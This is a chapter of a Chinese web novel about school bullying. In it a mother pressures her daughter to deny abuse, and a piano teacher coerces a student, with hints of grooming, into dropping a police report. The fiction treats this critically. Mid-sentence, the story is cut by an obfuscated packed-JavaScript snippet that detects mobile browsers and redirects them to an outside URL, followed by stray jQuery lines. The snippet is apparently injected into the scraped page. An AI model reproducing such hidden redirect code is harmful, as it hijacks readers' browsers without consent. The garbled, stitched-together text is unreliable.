11. 欺负
作品:《烧孔雀》 从小我玩捉迷藏就很擅长捉人。吴清明刑警劝我做警察时告诉我,这个游戏就和捉迷藏很像。
我们刑警的工作就是要捉住那些躲藏逃跑的罪犯。
玩捉迷藏时,我会趁着游戏即将开始的紧迫时刻,观察其他伙伴的眼睛在看哪里,他们呼吸的频率起伏,以及站立方位的朝向,那往往是我判断他们会躲在哪的方式。
第一次见到陈梨是在地铁上,我看到她饱含杀意的目光落在梁一一她们身上。
第二次见到陈梨是在学校。她正好撞上下楼的林月,却把她错认成楼雪。
我站在楼梯上,看到林月还没来得及反驳,便被陈梨拉到一楼后面的死角中。
陈梨重重地说:“你怎么回事?刚才校长叫我去办公室,他跟我说你报警了……谁欺负你?有人欺负你吗?”
她说的是粤语,我平时喜欢听粤语歌所以才能勉强听懂。
然后我听到林月用粤语说:“对,有很多人欺负我。同学,老师,都欺负我。”
她话音未落,发出低低的呜呜声。我微微探头出来,只见是陈梨堵住林月的嘴。
“校长都跟我说了没人欺负你,听妈妈的好好上学,好好毕业,以后找个好工作帮我分担压力。”
这一夜有风有雨。
我的呼吸随着斜雨乱颤。
欻然,窗外闪过的雷电照得女人的脸一半悲悯,一半漆黑。
从这道击破虚幻的白色闪电中,陈梨死死紧盯着她面前的女孩,“记住了,没人欺负你,警察问你你也要这么说。”
林月坚定地说:“有。”
“没有!”陈梨提高嗓门,“你必须给我说‘没有’,听懂没?!”
“就是有。”林月沉下声音道,“动物园里的一只孔雀被刷上白漆后会怎样?是会变成美丽的白孔雀,还是奄奄一息地继续活在人群中维持这个谎言直到死?”
陈梨哑口无言,沉默地注视林月。
她那个问题如一道惊蛰雷鸣,却不是第一次听到林月说。
「动物园里的一只孔雀被刷上白漆后会怎样?是会变成美丽的白孔雀,还是奄奄一息地继续活在人群中维持这个谎言直到死?」
我得到这个问题的答案时,是许多人用他们的死来告诉了我。
林月跟陈梨还在对峙时,乌云黑压压地倾覆艺术楼,音乐教室的窗帘被狂风吹得拍到天花板上。
而那时,就在音乐教室的杂物间里,陈飞的双手握住楼雪的肩膀,他笑眯眯地对楼雪说,只要撤销控诉梁一一等人校园暴力的报警,他依然能免费给她上钢琴专业课,培养她,帮她完成上大学的梦想。要不然她就得还钢琴课的钱。
楼雪抓住陈飞的衣角,摇着头无声掉泪说:“陈老师,您知道的我家没那么多钱……而且您不是说只要我跟您在一起,就能一直教我吗?”
陈飞摸了摸楼雪的脸颊,“小雪,做人不能忘本呀,你算算,我一节课四十五分钟,很多学生家长为了让他们孩子上我一节课会给我上千块钱的课时费,你看看这么多年,我都没收你一分钱,送你钢琴、礼服,还让你去参加国际钢琴比赛。我对你够好了,俗话说养条狗都知道冲主人汪汪叫,你怎么这么不懂事去报警呢?我挺失望的,要么你还钱,要么撤销报警,就不需要你还钱。好好考虑一下。”
楼雪缓缓垂下手,喃喃道:“我知道了老师。”
“你能想通最好。”陈飞搂住楼雪,轻轻拍着她的背,“我认识很多大院的老师,你很有天赋的,别浪费了。你知道林月也在我那里上课,但说实话,她没什么天赋。只有你,是老天追着给你喂饭吃。你以后就往这个方向发展很不错,留在海城本地,我能帮你的地方多着。还有啊过几天的钢琴比赛你好好准备,也好好想想我的话,我其实都是为了你好。要没有我,你是不是都来不了这个学校读书。”
音乐教室门后的我攥紧拳头,听到这一切,不敢相信说着那些话的人是平日那个幽默风趣的老师。暴雨淋湿了我全身,皮肤被风吹得发抖,却不是因为今夜这样冰冷的异常天气。
我被冻得渐渐没有知觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512468|170221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,看到楼雪的身体没有什么起伏的那一刻,我真正地意识到可怖的地狱不像圣经那样说有恶魔祸害人间,而是因为有人存在着,只要有人,就有他们制造的地狱。
我记得高中上过一堂心理健康课,课题是帮助每个人认识自己,心理老师提出的其中一个问题是,你想成为怎样的人,或者说你的梦想是什么?
那是个炎热的夏日,我吹着教室里电风扇吹出的暖风,不知道自己的梦想或者想成为怎样的人。
于是我照大多数人想的填了个铁饭碗:老师。
林月写了校长。
我问她为什么想做校长,她反问我为什么想做老师。
然后我们周围的同学回头来看我们,跟我们互相交换表格看,她们都是什么明星、律师、医生。
然后心理老师拍了拍手掌,示意我们安静。
她拿着一张绿色的表格纸张,念出一个人的梦想是上大学。
同学们大笑。
我下意识跟着笑了。
我的笑被林月突然问的问题打断。
“动物园里的一只孔雀被刷上白漆后会怎样?是会变成美丽的白孔雀,还是奄奄一息地继续活在人群中维持这个谎言直到死?”
那时候的我觉得这个问题很莫名其妙,回看整个班级,心理老师边说出梦想上大学的人就是楼雪,边鼓掌,同学们跟着鼓掌。那天的掌声夹杂笑声像这一天的雨声,随着闪电变得刺耳。
我远远看见走廊尽头有人影过来,然后我躲进厕所。
听到音乐教室的门被人从外边敲响。
“陈老师在吗?”是楼雪妈妈,陈梨。
陈飞让楼雪等会儿再出去,他等楼雪躲好了才去开音乐教室的门。陈梨小心翼翼地望着陈飞。
接着,陈飞主动而友好地说:“楼雪妈妈,借一步说话吧。”
两人就像标准的老师找家长闲聊,一起向办公室走去。
等他们走远,楼雪驮着背从音乐教室出来,蓦然转头,跟我四目相对,她惊疑不定地睁大了眼。